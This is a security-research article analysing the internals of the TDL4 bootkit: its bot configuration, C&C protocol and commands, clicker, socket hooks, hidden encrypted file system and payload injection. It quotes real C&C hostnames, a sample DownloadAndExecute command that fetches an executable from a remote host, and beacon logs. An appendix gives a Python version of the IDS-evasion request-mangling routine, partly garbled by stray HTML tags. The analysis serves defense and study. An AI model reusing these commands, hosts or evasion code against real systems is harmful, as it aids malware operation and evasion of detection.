http://resources.infosecinstitute.com/tdss4-part-2/ Introduction
In our previous Infosec Institute article, “TDSS part 1: the x64 Dollar Question”,
we looked at the distribution and installation mechanisms used by TDL4.
For the second part of the series, we look in more depth at the
internals of the malware, starting with the user-mode implementation of
the bootkit’s bot functionality.
1 The Bot
TDL4 injects two modules into processes in the system, cmd.dll and cmd64.dll, as described in corresponding subsections below. Firstly, though, we look at the configuration file cfg.ini,
which stores configuration information within the hidden file system.
The general structure of the file is essentially the same as in the
TDL3/TDL3+ rootkit but includes some additions and modifications:
// main section with information on kernel-mode driver and partner
[main]
version=0.03 // version of the kernel-mode driver
aid=30067 // affiliate ID
sid=0 // sub affiliate account ID
builddate=351 // kernel-mode driver build date
rnd=920026266 // random number
knt=1298317270 // time of the last connection with the command server
// list of the modules to inject into processes
[inject]
*=new_cmd.dll // module to inject into 32-bit processes
* (x64)=cmd64.dll // module to inject into 64-bit processes
// setcion specific to cmd.dll
[cmd]
srv=https://lkaturl71.com/;https://69b69b6b96b.com/;https://ikaturi11.com/;https://countri1l.com/;https://1il1il1il.com/
wsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/
psrv=http://crj71ki813ck.com/
version=0.167 // version of the payload
bsh=75adb55bf6a0db37c8726416b55df6dfc03e7d8a // bot id
delay=7200
csrv=http://lkckclcklii1i.com/
// setcion specific to cmd64.dll
[cmd64]
1.1 Cmd.dll
According to cfg.ini, cmd.dll is injected into each 32-bit process in the system in which the kernel32.dll
library is loaded. However, it is actually only able to operate inside
processes where the executable names contain the following substrings:
svchost.exe started with netsvcs parameter |
explo |
firefox |
chrome |
Opera |
safari |
netsc |
avant |
browser |
mozill |
wuaclt |
cmd.dll might perform a number of tasks:
- requesting and dispatching commands from C&C servers;
- dispatching tasks received from C&C;
- clicking;
- Blackhat SEO (as described in the sectin “TDL4 and Glupteba” in the previous article);
- Injecting HTML code into an HTML document.
1.2 Network communication
All the communication between the bot and C&C is carried over the
HTTP/HTTPS protocols. There are several types of C&C servers with
which the bot can communicate:
Types of C&C servers |
Description |
command servers (“srv” key in cfg.ini) |
intended to send commands to bots |
pservers ( “psrv” key in cfg.ini) |
intended to send URLs that should be opened in browser |
click servers (“csrv” key in cfg.ini); |
intended to send URLs with which the clicker should work |
wservers (“wsrv” key in cfg.ini) |
intended to substitute result of search providers |
kservers (“ksrv” key in cfg.ini |
used to inject malicious “iframes” into HTML documents. |
Encryption
The data transmitted to and from C&C over HTTP/HTTPS are
encrypted with the RC4 cipher, where the C&C server host name is
used as the key, and are then encoded with BASE64 encoding (as shown in
figure 1). In addition to the encryption, in some cases the data are
mangled after encoding. Strings generated according to certain rules
(described in the appendix) are prepended and appended to the data. This
last measure is intended to avoid detection by IDS (Intrusion Detection
Systems).
Figure 1 – The Format of Requests to the C&C Server
1.2.1 Communication with command servers
The bot periodically requests commands from C&C servers. The
configuration file contains parameters that determine how frequently the
bot should connect to these servers:
Parameters |
Description |
knt |
Stores the time when the command servers were last accessed (in seconds since the year 1970) |
delay |
time interval expressed in seconds between requests to the list of command servers |
retry |
time interval in seconds between requests to command server within the list |
The request to a command server prior to encryption and encoding looks like this:
“command|bid|aid|sid|tdl_ver|bot_ver|os_ver|locale|browser|tdl_build|tdl_installrnd”
Parameters |
Description |
bid |
bot identifier (assigned by C&C or “noname” by default) |
aid |
affiliate identifier |
sid |
affiliate sub account identifier |
tdl_ver |
version of the bootkit (0.03) |
bot_ver |
version of cmd.dll/cmd64.dll (0.169) |
os_ver |
version of operating system (5.1 2600 SP3.0) |
locale |
current locale of the system |
browser |
default browser of a user |
tdl_build |
build date of the bootkit |
tdl_install |
install date of the bootkit |
rnd |
random number |
The command server replies with a list of commands separated by semicolons. Each command is formatted as follows
command_name.method_name(Param1, Param2, …),
where command_name can be either cmd or name of an executable in the hidden file system of the bootkit. method_name can take the following values:
Command |
Description |
DownloadCrypted |
download encrypted binary, decrypt it (RC4 cipher with bot_id as a key),and if its name has “.dll” extension then load it into address space of the current process |
DownloadCrypted2 |
download encrypted
binary, decrypt it (RC4 cipher with custom key), and if its name has
“.dll” extension then load it into address space of the current process |
DownloadAndExecute |
download executable and run it in a new process |
DownloadCryptedAndExecute |
download encrypted executable, decrypt it (RC4 cipher with bot_id as a key) and run it in a new process |
DownloadCryptedAndExecute2 |
download encrypted executable, decrypt it (RC4 cipher with custom key) and run it in a new process |
Download |
download executable and load it into address space of the current process |
ConfigWrite |
write a string in cfg.ini |
SetName |
assign name to the bot |
Name of exported function |
Name of exported function from command_name executable to call |
The method parameters can be of the following types:
- String (Unicode, ASCII);
- Integers;
- Floats.
Here is an example of a set of commands received from the C&C:
C&C commands |
Example of parameters |
cmd.ConfigWrite |
(‘cmd’,'delay’,’7200′) |
cmd.ConfigWrite |
(‘cmd’,'srv’,'https://lkaturl71.com/;https://69b69b6b96b.com/;https://ikaturi11.com/;https://countri1l.com/;https://1il1il1il.com/’) |
cmd.ConfigWrite |
(‘cmd’,'wsrv’,'http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/’) |
cmd.ConfigWrite |
(‘cmd’,'psrv’,'http://crj71ki813ck.com/’) |
cmd.ConfigWrite |
(‘cmd’,'csrv’,'http://lkckclcklii1i.com/’) |
cmd.DownloadCrypted |
(‘https://178.17.164.92/boXEjC6qIJ452QOfSVz5naWV9MpsONI9SYCVO48QW0s4W6xlsKB9DNBfxOjRyCzFUR2Hog==’,'cmd.dll’) |
cmd.DownloadCrypted |
(‘https://178.17.164.92/boXEjC6qIJ450wOfSVz5naWV9MpsONI9SYCVO48QW0s4W6xlsKB9DNBfxOjRyCzFUR2Hog==’,'bckfg.tmp’) |
cmd.DownloadAndExecute |
(‘http://wheelcars.ru/no.exe’) |
1.2.2 Tasks
Once every 10 minutes the bot scans the “[tasks]” section of the configuration file to retrieve tasks for execution. The tasks are encoded as follows
file_name=task_code|retry_count|para1|para2,
Tasks |
Description |
file_name |
name of the file in the hidden file system or random number |
task_code |
1 |
download binary from URL determined by para2, and decrypt with para1 key (if specified) |
2 |
download binary from URL determined by para2, and decrypt with para1 key (if specified), then run as standalone application |
3 |
delete file with file_name name |
retry_count |
maximum
number of attempts to execute the task. Each attempt this value is
decremented and when reaches zero the task is deleted |
para1, para2 |
parameters of the task |
1.2.3 The Clicker
The module cmd.dll implements clicker functionality. It requests links from the servers listed under csrv key in cfg.ini file by using the URLs formatted as:
clk=2.6|bid=bot_id|aid=aff_id|sid=sub_id|rd=Install_date,
where bot_id, aff_id, sub_id, install_date have the same
meaning as the corresponding values in communication with command
server. The request is encoded and mangled. As a reply cmd.dll receives list of the values:
x_url|x_ref|dword_1|dword_2,
Parameters |
Description |
x_url |
target URL |
x_ref |
Referrer |
dword_1,dword_2 |
unsigned integers specifying delay between receiving data from click servers and going to target URL |
The clicker’s engine is implemented by means of the “WebBrowser” ActiveX control. For this purpose cmd.dll creates a window class with the name “svchost”. For each URL received from the click-servers the bot creates a window of class “svchost” with the name “svchost-XX”, where XX corresponds to the current thread ID passing target URL as lpParam to the CreateWindowEx function.
Figure 2 – Creating a New WIndow for Clicker
When the WindowProc function of the registered window class receives a WM_CREATE message, it creates the “WebBrowser” ActiveX control in the window and sets up properties: Silent – False, Visible – True. Then it navigates to the target URL by calling the Navigate method defined in the IWebBrowser2 interface with the following flags:
- navNoHistory;
- navNoReadFromCache;
- navUntrustedForDownload;
- navBrowserBar;
- navHyperlink;
- navEnforceRestricted.
Then the clicker waits for the NavigateCoplete2 event,
signifying that at least part of the document has been received from the
server, and that the document viewer has been created. At this point
the clicker compares the current URL with the one requested and if they
match (i.e. the request has not been redirected) it emulates surfing the
web:
- It scans the downloaded HTML document for elements with the tags “object” or “iframe” and links pointing to objects inside the same security domain as the requested document;
- It emulates a user gradually moving mouse pointer to the element of the document and pressing the left mouse button.
1.2.4 Hooking mswsock.dll
In order to intercept and modify the data exchanged over the network
the bot hooks several functions from the Microsoft Windows Socket
Provider mswsock.dll:
- WSPSend;
- WSPRecv;
- WSPCloseSocket.
WSPSend
By hooking the WSPSend routine the bot is able to intercept all the outgoing network traffic generated by the process into which cmd.dll is injected. Prior to forwarding the intercepted data to the destination host, the bot looks for the “windowsupdate”
string in the data buffer. If it finds the string, then it immediately
returns the error WSAENETRESET (normally signifying that the connection
has been broken due to the remote host resetting), thereby disabling the
Windows Update service.
Otherwise it calls the original WSPSend routine and if the
operation has been completed successfully, it parses the outgoing data
buffer to determine whether this is an HTTP request. If so it gets the
following parameters from the header:
- requested resource;
- host;
- accept-language;
- referrer;
- cookie;
- user-agent.
Depending on the values these parameters may take, and information
stored in additional files in the hidden files system, the bot performs
the following actions:
- injects additional functionality into HTML document through “iframe” tag;
- fetches keywords from requests to search providers and stores them in “keywords” file;
- substitutes results from search providers.
All these operations are performed in the WSPSend hook and stored in the binary tree data structure to be used in the WSPRecv hook.
WSPRecv
In the WSPRecv hook the bot actually replaces the data obtained from the destination with information it generates in WSPSend hook.
WSPCloseSocket
In the WSPCloseSocket hook the bot releases all the resources allocated to handling and interception of data for a specific connection.
1.3 Cmd64.dll
Cmd64.dll is the payload to be injected into 64-bit processes only.
It is a limited version of cmd.dll and its functionality is restricted
to communications with command servers and executing tasks (without
hooking mswsock.dll and clicker). These communications functions, however, are fully equivalent to the corresponding functions in cmd.dll.
1.4 TDL4 Tracker
During our investigation of the malware, a TDL4 tracking system has
been implemented which monitors and logs all the communication between
the bot and C&C servers. The system is able to intercept and decrypt
all kinds of messages, even those transmitted over HTTPS, which allows
us to gain access to all commands, updates and additional downloaded
modules. The output of the system is presented as an appendix to the
third article in this series: “TDSS: Bootkit on the Other Foot.”
However, here is an example of the kind of detail it shows.
21/02/2011 21:36:16 SEND: PID=820,MODULE=C:\WINDOWS\System32\svchost.exe,P1=http://z0g7yalil0.com/clk=2.1&bid=noname&aid=40379&sid=0&rd=0,P2=Accept-Language: en-us,P3=00C7FE14,P4=00C7FE10,P5=(null),P6=(null)
21/02/2011 21:36:16 RECV: PID=820,MODULE=C:\WINDOWS\System32\svchost.exe,FILEBUFFER=C:\tdl4\21_02_2011_21_36_016_buf.txt,FILEDLL=NO
21/02/2011 21:41:41 SEND: PID=820,MODULE=C:\WINDOWS\System32\svchost.exe,P1=https://zz87lhfda88.com/command|noname|40379|0|0.03|0.15|5.1 2600 SP3.0|en-us|iexplore|0|0|57989841,P2=(null),P3=00C3FEB4,P4=00C3FEA8,P5=(null),P6=noname
21/02/2011 21:41:44 RECV: PID=820,MODULE=C:\WINDOWS\System32\svchost.exe,FILEBUFFER=NO,FILEDLL=NO
2 Kernel-mode components
In this section we describe the kernel-mode components of the bootkit, namely, drv32.sys and drv64.sys, which correspond
to the x86 and x64 operating systems. The kernel-mode drivers
constitute the most important part of the bootkit and execute the
following tasks:
- performing self-defense;
- maintaining the hidden file system in which the bootkit’s components are stored;
- injecting the payload into processes in the system.
In general the x86 and x64 binaries of the TDL4 are quite similar,
and indeed are compiled from a single set of source files. Unlike the
TDL3/TDL3+ kernel-mode component, which is stored in the hidden file
system as a piece of code (independent of the base address), TDL4′s
kernel-mode components are valid PE images.
2.1 Self-defense
2.1.1 Kernel-mode hooks
The bootkit conceals its presence in the system by setting up hooks
to the storage miniport driver, in the same way as its predecessor
TDL3/TDL3+. The hooks enable the bootkit to intercept read/write
requests to the hard drive and thereby counterfeit data being read or
written.
Figure 3 represents the relationship between the miniport device
object and its corresponding driver object after the bootkit sets up the
hooks which modify the StartIo field of the target device’s driver object and the DriverObject field of the target device object. The bootkit also excludes the target device from the driver object’s linked list.
After these manipulations, all the requests addressed to the miniport
device object are dispatched by the corresponding handlers of the
bootkit’s driver object. The bootkit controls the following areas of the
hard drive:
- The boot sector. When an application reads the boot sector, the
bootkit counterfeits data and returns the original contents of the
sector (i.e. as it was prior to infection), and it also protects the
sector from overwriting;
- The hidden file system. On any attempt to read sectors of the hard
disk where the hidden file system is located, the bootkit returns a
zeroed buffer as well as protecting the area from overwriting.
Figure 3 – The Bootkit’s Kernel-mode Hooks
The bootkit contains code that performs additional checks to prevent
the malware from being detected, deactivated or removed. When the
bootkit’s driver is loaded and properly initialized it queues
WORK_QUEU_ITEM which performs the following tasks at one-second
intervals:
- Reads the contents of the boot sector, compares it to the infected
image and if there is a difference between them writes an infected MBR
into the boot sector (in case something managed to overwrite it);
- Sets the DriverObject field of the miniport device object to point to the bootkit’s driver object;
- Hooks the DriverStartIo field of the miniport’s driver object;
- Checks the integrity (the first 16 bytes) of the IRP_MJ_INTERNAL_DEVICE_CONTROL handler of the miniport’s driver object.
2.1.2 Cleaning up traces
The bootkit also takes care of cleaning up the traces it left during
the loading of the bootkit at boot time (see the final article in this
series, “TDSS: Bootkit on the Other Foot). Specifically:
- It restores the original kdcom.dll library in kernel-mode
address space. The bootkit loads the library and correspondingly fixes
dependencies (imported symbols from the library) of ntoskrnl.exe and hal.dll;
- It modifies the registry value SystemStartupOptions of the HKLM\System\CurentControlSet\Control registry
key to remove the /MININT (IN/MINT) option, which was distorted at boot
time, from the list of boot options which was used to load the kernel.
2.2 Maintaining the hidden file system
In order to covertly store its malicious components, the bootkit
implements a hidden file system. The general structure of the file
system remains the same as in the case of TDL3/TDL3+: the bootkit
reserves some space at the end of the hard drive, regardless whether
this space is being used by operating system.
The bootkit’s file system is maintained by a set of device objects.
Here we can see a volume device object representing a logical volume
(partition) hosting TDL4′s files, and a so called physical device object
responsible for handling IO requests from the bootkit’s payload. These
two device objects are connected with each other by means of a volume
parameter block – a special system structure linking a volume device
object with the corresponding physical device object. This enhancement
appeared for the first time when the TDL3+ version of the rootkit was
released.
Figure 4 – TDL4 File System Device Relationship
As we can see from the figure above, the volume device object is created as a device object belonging to the \Driver\PnpManager
driver object, so that all the requests are handled by this driver. In
order to conceal the volume, the bootkit removes the device object from PnpManager’s device object linked list.
The hidden file system is configured so that TDL4′s components access files stored on it using the following paths:
\\?\globalroot\device\XXXXXXXX\YYYYYYYY\file_name
– for user-mode components
and
\device\XXXXXXXX\YYYYYYYY\file_name
– for kernel-mode components.
Here we can see that TDL4 appends 8 random hexadecimal digits to the
volume device object, and these are generated on loading of the bootkit.
If this condition is not met, a STATUS_OBJECT_NAME_INVALID error code
is returned.
2.2.1 TDL4 file system layout
TDL4 uses the same technique for allocating space on a hard drive for
its file system as its predecessor; namely, it starts at the last but
one sector of the hard drive and grows towards start of the disk space.
Figure 5 – Location of the Hidden File System on Disk
There are some changes in the layout of the file system compared to
the TDL3 file system layout. Each block of the file system has the
following format:
typedef struct _TDL4_FS_BLOCK
{
// Signature of the block
// DC – root directory
// FC – block with file data
// NC – free bock
WORD Signature;
// Size of data in block
WORD SizeofDataInBlock;
// Offset of the next block relative to file system start
WORD NextBlockOffset;
// File table or file data
BYTE Data[506];
}TDL4_FS_BLOCK, *PTDL4_FS_BLOCK;
Here is the format of the root directory:
typedef struct _TDL4_FS_ROOT_DIRECTORY
{
// Signature of the block
// DC – root directory
WORD Signature;
// Set to zero
DWORD Reserved;
// Array of entries corresponding to files in FS
TDL4_FS_FILE_ENTRY FileTable[15];
}TDL4_FS_ROOT_DIRECTORY, *PTDL4_FS_ROOT_DIRECTORY;
typedef struct _TDL4_FS_FILE_ENTRY
{
// File name – null terminated string
char FileName[16];
// Offset from beginning of the file system to file
DWORD FileBlockOffset;
// Reserved
DWORD dwFileSize;
// Time and Date of file creation
FILETIME CreateTime;
}TDL4_FS_FILE_ENTRY, *PTDL4_FS_FILE_ENTRY;
2.2.2 Encrypted File System
The bootkit protects the contents of its file system by encrypting
its blocks. As with TDL3 it uses the RC4 encryption algorithm, which is a
stream cipher with varying key length. Unlike TDL3, where the “tdl”
string is used as a key, TDL4 uses the 32-bit integer LBA of the sector
block being encrypted. (You may recall that TDL3+ encrypts its file
system by XORing contents with a single byte incremented with each XOR
operation).
2.3 Injecting payload into processes
The way TDL4 injects its payload into processes in the system hasn’t
changed significantly since the previous version of the rootkit, but as
it wasn’t described in our report on TDL3 (http://www.eset.com/us/resources/white-papers/TDL3-Analysis.pdf), we are going to address it here.
To track creation of a new process in the system, TDL4 registers the LoadImageNotificationRoutine and waits until the “kernel32.dll” system library is mapped into memory. Once that happens, the bootkit obtains the addresses of exported symbols LoadLibraryEx, GetProcAddress, VirtualFree and
queues a special kernel-mode APC ,which in turn queues a work item
performing injection of the payload. The work item executing in the
context of the “System” process attaches itself to the target process by calling the KeStackAttachProcess
system routine. When the address space of the process is switched to
that of the target process, the bootkit maps payload to it and applies
relocations. The next step is to allocate a buffer in the user-mode
address space of the process and fill it with the path to the payload,
and code initializing the import address table and calling the payload’s
entry point. When this is done the bootkit queues the user-mode APC
executing user-mode code.
To be precise the user-mode code initializes the import address table
of the executable and calls its entry point, passing as parameters the
following values:
- Base address of the payload;
- DWORD set to 0×0000001 (DLL_PROCESS_ATTACH);
- Path to the payload in the hidden file system, i.e. ASCII string \\?\globalroot\device\XXXXXXXX\YYYYYYYY\paylod.dll.
If the entry point returns zero then the code frees memory allocated
for the payload image and overwrites the path to the payload in the
user-mode buffer with zeros.
The following figure illustrates the overall process.
Figure 6 – Process of Injecting Payload into Processes in the System
2.4 Comparison with TDL3/TDL3+
Compared to its predecessors (TDL3 and TDL3+) there are some
significant changes in the kernel-mode components of the bootkit which
affect the following aspects of its work: kernel-mode code layout,
surviving a reboot, self-defense against removal from the system, and
supported platforms. These points are summarized in the table below.
Comparison of TDL kernel-mode components
|
TDL3/TDL3+ |
TDL4 |
Kernel-mode code representation |
Base independent piece of code in hidden file system |
PE image in the hidden file system |
Surviving after reboot |
Infecting disk miniport/random kernel-mode driver |
Infecting MBR of the disk |
Self-defense |
Kernel-mode hooks, registry monitoring |
Kernel-mode hooks, MBR monitoring |
Injecting payload into processes in the system |
tdlcmd.dll |
cmd.dll/cmd64.dll |
x64 support |
- |
+ (drv64) |
Conclusion
In the final article of the series, we will discuss the normal boot process and how the bootkit exploits it.
TDSS part 3: Bootkit on the Other Foot
Appendix: Mangling algorithm in python
from random import randint
# mangle rules
mangle_rules = [
(1, "*"),
(1, "AaKhQqYy"),
(1, "*"),
(1, "123"),
(1, "*"),
(3, "eElLdCUExX"),
(1, "01"),
(1, "*"),
(1, "34567"),
(1, "mFyYjJqQXx"),
(1, "*"),
(2, "GgOoSsUu"),
(1, "789"),
(1, "@"),
(1, "5678"),
(1, "1234"),
(1, "AchIwWqQ")
]
def mangle_request(original_request):
# mangled result
mangled_request = ""
# run through the list of rules
for<em> rule in mangle_rules:
if</em><em> rule[1] == "@": # copy original request mangled_request += original_request
else: # add a number of random characters to the request according to the rule
for</em><em> i in xrange(rule[0]):
if</em><em> rule[1] == "*":
char_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"
else:
char_set = rule[1]
# select random character
mangled_request += char_set[randint(0, len(char_set) – 1)]</em>
<em> return mangled_request</em>
Incoming search terms:
|